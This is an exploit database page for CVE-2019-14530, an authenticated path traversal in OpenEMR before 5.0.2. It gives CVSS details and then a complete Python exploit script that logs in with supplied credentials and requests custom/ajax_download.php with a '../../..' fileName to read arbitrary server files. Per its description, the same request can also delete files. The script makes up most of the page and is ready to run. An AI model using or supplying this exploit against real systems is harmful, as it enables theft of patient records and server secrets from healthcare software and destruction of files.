Exploitalert - Database of Exploits

OpenEMR 5.0.1.7 fileName Path Traversal (Authenticated)

CVE	Category	Price	Severity
CVE-2019-14530	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Exploit Alert Team	High	Authenticated Remote	2021-06-29

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2021060170

OpenEMR 5.0.1.7 fileName Path Traversal (Authenticated)

# Exploit Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) # Date 16.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip # Version: All versions prior to 5.0.2 # Tested on: Ubuntu 18.04 # CVE: CVE-2019-14530 # CWE: CWE-22 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2019-14530-Exploit/README.md # Reference: https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf ''' Description: An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An authenticated attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server. ''' ''' Banner: ''' banner = """ ______ _______ ____ ___ _ ___ _ _ _ ____ _____ ___ / ___\ \ / / ____| |___ \ / _ \/ |/ _ \ / | || || ___|___ / / _ \ | | \ \ / /| _| _____ __) | | | | | (_) |_____| | || ||___ \ |_ \| | | | | |___ \ V / | |__|_____/ __/| |_| | |\__, |_____| |__ _|__) |__) | |_| | \____| \_/ |_____| |_____|\___/|_| /_/ |_| |_||____/____/ \___/ by Hacker5preme """ print(banner) ''' Import required modules: ''' import requests import argparse ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='OpenEMR Path Traversal') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT openemr_path = args.PATH username = args.USERNAME password = args.PASSWORD print('') Filepath = input('[+] Filepath: ') ''' Authentication: ''' session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default' # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'new_login_session_management': '1', 'authProvider': 'Default', 'authUser': username, 'clearPass': password, 'languageChoice': '1' } # Authenticate: print('') auth = session.post(auth_url, headers=header, data=body) if 'error=1&site=' in auth.text: print('[-] Authentication failed') exit() else: print('[+] Authentication successfull: ' + str(auth)) ''' Path Traversal: ''' url_static = 'http://' + target_ip + ':' + target_port + openemr_path url_dynamic = '/custom/ajax_download.php?fileName=../../../../../../../../..' url_exploit = url_static + url_dynamic + Filepath print('') print('[+] Constructed malicious URL: ') # Headers: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Exploit: print('') print('[+] Contents of ' + Filepath + ':') print('') getfile = session.get(url_exploit, headers = header) print(getfile.text)

Impressum